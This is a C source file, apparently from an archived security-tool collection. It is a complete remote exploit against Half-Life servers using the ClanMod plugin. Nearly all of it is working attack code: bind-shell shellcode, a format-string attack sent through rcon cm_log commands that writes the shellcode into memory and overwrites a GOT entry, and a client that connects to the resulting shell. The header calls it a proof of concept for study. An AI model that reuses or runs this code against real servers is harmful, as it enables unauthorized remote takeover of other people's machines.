home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / hoagie_clanmod.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  13KB  |  401 lines

  1. /*****************************************************************
  2.   * hoagie_clanmod.c
  3.   *
  4.   * Remote exploit for Halflife-Servers running the Clanmod-Plugin
  5.   * (rcon-password required)
  6.   *
  7.   * Binds a shell to port 30464/tcp and connects to it.
  8.   *
  9.   * Author: greuff@void.at
  10.   *
  11.   * Tested on HL-Server v3.1.1.0 and ClanMod 1.81.11
  12.   *
  13.   * Credits:
  14.   *    void.at
  15.   *    Taeho Oh for using parts of his shellcode-connection code.
  16.   *
  17.   * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
  18.   * THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
  19.   * CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
  20.   *
  21.   *****************************************************************/
  22.  
  23. #include <sys/socket.h>
  24. #include <sys/types.h>
  25. #include <sys/time.h>
  26. #include <unistd.h>
  27. #include <netinet/in.h>
  28. #include <arpa/inet.h>
  29. #include <stdio.h>
  30. #include <errno.h>
  31. #include <string.h>
  32.  
  33. #define VSNPRINTF_GOT_ADDRESS 0x0804ce18
  34. #define OFFSET 0x41414141
  35.  
  36. #define SB4(a) ((unsigned int)(a>>24))
  37. #define SB3(a) ((unsigned int)((a>>16)&0xFF))
  38. #define SB2(a) ((unsigned int)((a>>8)&0xFF))
  39. #define SB1(a) ((unsigned int)(a&0XFF))
  40.  
  41. // forks and binds a shell to 30464/tcp. parent process exit()s.
  42. char shellcode[] = "\x31\xc0\x40\x40\xcd\x80\x89\xc0\x85\xc0\x74\x06"
  43.                     "\x31\xc0\xb0\x01\xcd\x80"
  44.                     "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51"
  45.                     "\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51\x8d\x0c\x24\xcd"
  46.                     "\x80\xb3\x02\xb1\x02\x31\xc9\x51\x51\x51\x80\xc1\x77"
  47.                     "\x66\x51\xb1\x02\x66\x51\x8d\x0c\x24\xb2\x10\x52\x51"
  48.                     "\x50\x8d\x0c\x24\x89\xc2\x31\xc0\xb0\x66\xcd\x80\xb3"
  49.                     "\x01\x53\x52\x8d\x0c\x24\x31\xc0\xb0\x66\x80\xc3\x03"
  50.                     "\xcd\x80\x31\xc0\x50\x50\x52\x8d\x0c\x24\xb3\x05\xb0"
  51.                     "\x66\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80"
  52.                     "\x41\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd"
  53.                     "\x80\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
  54.                     "\x69\x89\xe3\x8d\x54\x24\x08\x31\xc9\x51\x53\x8d\x0c"
  55.                     "\x24\x31\xc0\xb0\x0b\xcd\x80"
  56.                     "\x31\xc0\xb0\x01\xcd\x80";
  57.  
  58. char server_ip[20];
  59. char rcon_pwd[30];
  60. int server_port;
  61.  
  62. int exec_sh(int sockfd)
  63. {
  64.          char snd[4096],rcv[4096];
  65.          fd_set rset;
  66.          while(1)
  67.          {
  68.                  FD_ZERO(&rset);
  69.                  FD_SET(fileno(stdin),&rset);
  70.                  FD_SET(sockfd,&rset);
  71.                  select(255,&rset,NULL,NULL,NULL);
  72.                  if(FD_ISSET(fileno(stdin),&rset))
  73.                  {
  74.                          memset(snd,0,sizeof(snd));
  75.                          fgets(snd,sizeof(snd),stdin);
  76.                          write(sockfd,snd,strlen(snd));
  77.                  }
  78.                  if(FD_ISSET(sockfd,&rset))
  79.                  {
  80.                          memset(rcv,0,sizeof(rcv));
  81.                          if(read(sockfd,rcv,sizeof(rcv))<=0)
  82.                                  exit(0);
  83.                          fputs(rcv,stdout);
  84.                  }
  85.          }
  86. }
  87.  
  88. int connect_sh()
  89. {
  90.          int sockfd,i;
  91.          struct sockaddr_in sin;
  92.          printf("Connect to the shell\n");
  93.          fflush(stdout);
  94.          memset(&sin,0,sizeof(sin));
  95.          sin.sin_family=AF_INET;
  96.          sin.sin_port=htons(30464);
  97.          if(inet_aton(server_ip,&(sin.sin_addr.s_addr))<0) perror("inet_aton"), exit(1);
  98.          if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
  99.          {
  100.                  printf("Can't create socket\n");
  101.                  exit(0);
  102.          }
  103.          if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
  104.          {
  105.                  printf("Can't connect to the shell\n");
  106.                  exit(0);
  107.          }
  108.          return sockfd;
  109. }
  110.  
  111. void create_conn(int *sock, char *host, int port)
  112. {
  113.     struct sockaddr_in sin;
  114.     struct timeval timeout;
  115.  
  116.     sin.sin_family=AF_INET;
  117.     sin.sin_port=htons(port);
  118.     if(inet_aton(host,&(sin.sin_addr.s_addr))<0) perror("inet_aton"), exit(1);
  119.     if((*sock=socket(PF_INET,SOCK_DGRAM,0))<0) perror("socket"), exit(1);
  120.  
  121.     timeout.tv_sec=10;
  122.     timeout.tv_usec=0;
  123.     if(setsockopt(*sock,SOL_SOCKET,SO_RCVTIMEO,(const void *)&timeout,
  124.        sizeof(timeout))<0)
  125.        perror("setsockopt"),exit(1);
  126.     if(setsockopt(*sock,SOL_SOCKET,SO_SNDTIMEO,(const void *)&timeout,
  127.        sizeof(timeout))<0)
  128.        perror("setsockopt"),exit(1);
  129. }
  130.  
  131. void lowlevel_rcon(int sock, char *host, int port, char *cmd, char *reply)
  132. {
  133.     char msg[2000];
  134.     struct sockaddr_in sin;
  135.     struct sockaddr_in sfrom;
  136.     fd_set fdset;
  137.     int dummy;
  138.  
  139.     usleep(100);
  140.  
  141.     sin.sin_family=AF_INET;
  142.     sin.sin_port=htons(port);
  143.     if(inet_aton(host,&(sin.sin_addr.s_addr))<0) perror("inet_aton"), exit(1);
  144.  
  145.     sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd);
  146.     if(sendto(sock,msg,strlen(msg),0,(struct sockaddr *)&sin,sizeof(sin))<0)
  147.        perror("sendto"), exit(1);
  148.  
  149.     if(reply)
  150.     {
  151.        if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0)
  152.        {
  153.           if(errno==EAGAIN)
  154.           {
  155.              // resend message
  156.              printf("msg stalled, resending...\n");
  157.              sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd);
  158.              if(sendto(sock,msg,strlen(msg),0,(struct sockaddr *)&sin,sizeof(sin))<0)
  159.                 perror("sendto"), exit(1);
  160.              else
  161.                 printf("resend OK\n");
  162.              if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0)
  163.                 perror("recvfrom"),exit(1);
  164.           }
  165.           else
  166.              perror("recvfrom"), exit(1);
  167.        }
  168.  
  169.        if(strncmp(msg,"\xFF\xFF\xFF\xFF",4))
  170.           fprintf(stderr,"protocol error: reply\n"), exit(1);
  171.  
  172.        strcpy(reply,msg+4);
  173.     }
  174. }
  175.  
  176. void send_rcon(int sock, char *host, int port, char *rconpwd, char *cmd, char *reply_fun)
  177. {
  178.     char reply[1000];
  179.     char msg[2000];
  180.  
  181.     lowlevel_rcon(sock,host,port,"challenge rcon",reply);
  182.     if(!strstr(reply,"challenge rcon "))
  183.        fprintf(stderr,"protocol error\n"), exit(1);
  184.     reply[strlen(reply)-1]=0;
  185.  
  186.     sprintf(msg,"rcon %s \"%s\" %s",reply+strlen("challenge rcon "),rconpwd,cmd);
  187.     if(reply_fun)
  188.        lowlevel_rcon(sock,host,port,msg,reply);
  189.     else
  190.        lowlevel_rcon(sock,host,port,msg,NULL);
  191.     if(reply_fun)
  192.        strcpy(reply_fun,reply);
  193. }
  194.  
  195. int get_padding(unsigned char c,int bytes_written)
  196. {
  197.     int write_byte=c;
  198.     int already_written=bytes_written;
  199.     int padding;
  200.  
  201.     write_byte+=0x100;
  202.     already_written%=0x100;
  203.     padding=(write_byte-already_written)%0x100;
  204.     if(padding<10) padding+=0x100;
  205.  
  206.     return padding;
  207. }
  208.  
  209. void get_write_paddings(unsigned long addr, int *p1, int *p2, int *p3,
  210.                          int *p4, int bytes_written)
  211. {
  212.     // greetings to scud :-)
  213.     int write_byte;
  214.     int already_written;
  215.     int padding;
  216.  
  217.     write_byte=SB1(addr);
  218.     already_written=bytes_written;
  219.     write_byte+=0x100;
  220.     already_written%=0x100;
  221.     padding=(write_byte-already_written)%0x100;
  222.     if(padding<10) padding+=0x100;
  223.     *p1=padding;
  224.  
  225.     write_byte=SB2(addr);
  226.     already_written+=padding;
  227.     write_byte+=0x100;
  228.     already_written%=0x100;
  229.     padding=(write_byte-already_written)%0x100;
  230.     if(padding<10) padding+=0x100;
  231.     *p2=padding;
  232.  
  233.     write_byte=SB3(addr);
  234.     already_written+=padding;
  235.     write_byte+=0x100;
  236.     already_written%=0x100;
  237.     padding=(write_byte-already_written)%0x100;
  238.     if(padding<10) padding+=0x100;
  239.     *p3=padding;
  240.  
  241.     write_byte=SB4(addr);
  242.     already_written+=padding;
  243.     write_byte+=0x100;
  244.     already_written%=0x100;
  245.     padding=(write_byte-already_written)%0x100;
  246.     if(padding<10) padding+=0x100;
  247.     *p4=padding;
  248. }
  249.  
  250. int main(int argc, char **argv)
  251. {
  252.     int sock, stackpops, padding;
  253.     int i,j,bytes_written;
  254.     int p1,p2,p3,p4;
  255.     char cmd[1000], reply[1000];
  256.     unsigned long addr;
  257.  
  258.     printf("hoagie_clanmod - remote exploit for hlds servers using the clanmod plugin\n"
  259.            "by greuff@void.at\n\n");
  260.     if(argc!=4)
  261.     {
  262.        printf("Usage: %s server_ip server_port rcon_password\n\n",argv[0]);
  263.        exit(1);
  264.     }
  265.  
  266.     strcpy(server_ip,argv[1]);
  267.     server_port=strtol(argv[2],NULL,10);
  268.     strcpy(rcon_pwd,argv[3]);
  269.  
  270.     create_conn(&sock,server_ip,server_port);
  271.  
  272.     printf("Getting stackpop count...");
  273.     send_rcon(sock,server_ip,server_port,rcon_pwd,"log on",reply);
  274.     stackpops=-1;
  275.     for(padding=0;padding<4 && stackpops==-1;padding++)
  276.     {
  277.        for(i=50;i<100 && stackpops==-1;i++)
  278.        {
  279.           strcpy(cmd,"cm_log ");
  280.           for(j=0;j<padding;j++) strcat(cmd,"b");
  281.           sprintf(reply,"AAAA%%%d$08x",i);
  282.           strcat(cmd,reply);
  283.  
  284.           send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
  285.           reply[strlen(reply)-1]=0;
  286.           if(strstr(reply,"AAAA41414141"))
  287.           {
  288.              stackpops=i;
  289.              strcpy(cmd,strchr(reply,'['));
  290.              bytes_written=strlen(cmd)-8;
  291.           }
  292.           printf(".");
  293.           fflush(stdout);
  294.        }
  295.     }
  296.     padding--;
  297.     if(stackpops==-1)
  298.     {
  299.        printf("\ncouldn't determine stackpop count. (I really tried hard!)\n");
  300.        exit(1);
  301.     }
  302.  
  303.     printf("\nStackpops found: %d, Padding: %d\n",stackpops,padding);
  304.  
  305.     // inject shellcode
  306.     printf("Writing shellcode...");
  307.     addr=OFFSET;
  308.     for(i=0;i<strlen(shellcode);)
  309.     {
  310.        int t;
  311.        if((addr&0xFF)>0x75)
  312.        {
  313.           // leave space for jmp-instruction (5 bytes: 0xe9 offset/32)
  314.           // distance is 0x13B-0x7A = 193d
  315.           unsigned long target=192;
  316.  
  317.           strcpy(cmd,"cm_log ");
  318.           for(j=0;j<padding;j++) strcat(cmd,"b");
  319.           t=get_padding(0xe9,bytes_written);
  320.           sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
  321.               (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
  322.           strcat(cmd,reply);
  323.           send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
  324.  
  325.           addr++;
  326.           strcpy(cmd,"cm_log ");
  327.           for(j=0;j<padding;j++) strcat(cmd,"b");
  328.           t=get_padding(target&0xFF,bytes_written);
  329.           sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
  330.               (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
  331.           strcat(cmd,reply);
  332.           send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
  333.  
  334.           addr++;
  335.           strcpy(cmd,"cm_log ");
  336.           for(j=0;j<padding;j++) strcat(cmd,"b");
  337.           t=get_padding((target>>8)&0xFF,bytes_written);
  338.           sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
  339.               (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
  340.           strcat(cmd,reply);
  341.           send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
  342.  
  343.           addr++;
  344.           strcpy(cmd,"cm_log ");
  345.           for(j=0;j<padding;j++) strcat(cmd,"b");
  346.           t=get_padding((target>>16)&0xFF,bytes_written);
  347.           sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
  348.               (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
  349.           strcat(cmd,reply);
  350.           send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
  351.  
  352.           addr++;
  353.           strcpy(cmd,"cm_log ");
  354.           for(j=0;j<padding;j++) strcat(cmd,"b");
  355.           t=get_padding((target>>24)&0xFF,bytes_written);
  356.           sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
  357.               (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
  358.           strcat(cmd,reply);
  359.           send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
  360.  
  361.           addr+=193;
  362.        }
  363.        else
  364.        {
  365.           // write shellcode-pieces
  366.           strcpy(cmd,"cm_log ");
  367.           for(j=0;j<padding;j++) strcat(cmd,"b");
  368.           t=get_padding(shellcode[i],bytes_written);
  369.           sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
  370.               (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
  371.           strcat(cmd,reply);
  372.           send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
  373.           addr++;
  374.           i++;
  375.        }
  376.        printf(".");
  377.        fflush(stdout);
  378.     }
  379.  
  380.     // overwrite GOT entry with shellcode address
  381.     strcpy(cmd,"cm_log ");
  382.     for(j=0;j<padding;j++) strcat(cmd,"b");
  383.     get_write_paddings(OFFSET,&p1,&p2,&p3,&p4,bytes_written+28);
  384.     addr=VSNPRINTF_GOT_ADDRESS;
  385.     sprintf(reply,"%c%c%c%cAAAA%c%c%c%cAAAA%c%c%c%cAAAA%c%c%c%cAAAA"
  386.                   "%%%du%%%d$n%%%du%%%d$n%%%du%%%d$n%%%du%%%d$n",
  387.                   addr&0xFF,(addr>>8)&0xFF,(addr>>16)&0xFF,(addr>>24)&0xFF,
  388.                   (addr+1)&0xFF,((addr+1)>>8)&0xFF,((addr+1)>>16)&0xFF,((addr+1)>>24)&0xFF,
  389.                   (addr+2)&0xFF,((addr+2)>>8)&0xFF,((addr+2)>>16)&0xFF,((addr+2)>>24)&0xFF,
  390.                   (addr+3)&0xFF,((addr+3)>>8)&0xFF,((addr+3)>>16)&0xFF,((addr+3)>>24)&0xFF,
  391.                   p1,stackpops,p2,stackpops+2,p3,stackpops+4,p4,stackpops+6);
  392.     strcat(cmd,reply);
  393.     send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,NULL);
  394.     sleep(1);
  395.     close(sock);
  396.     printf("\nConnecting to the shell...\n");
  397.     exec_sh(connect_sh());
  398.     return 0;
  399. }
  400.  
  401.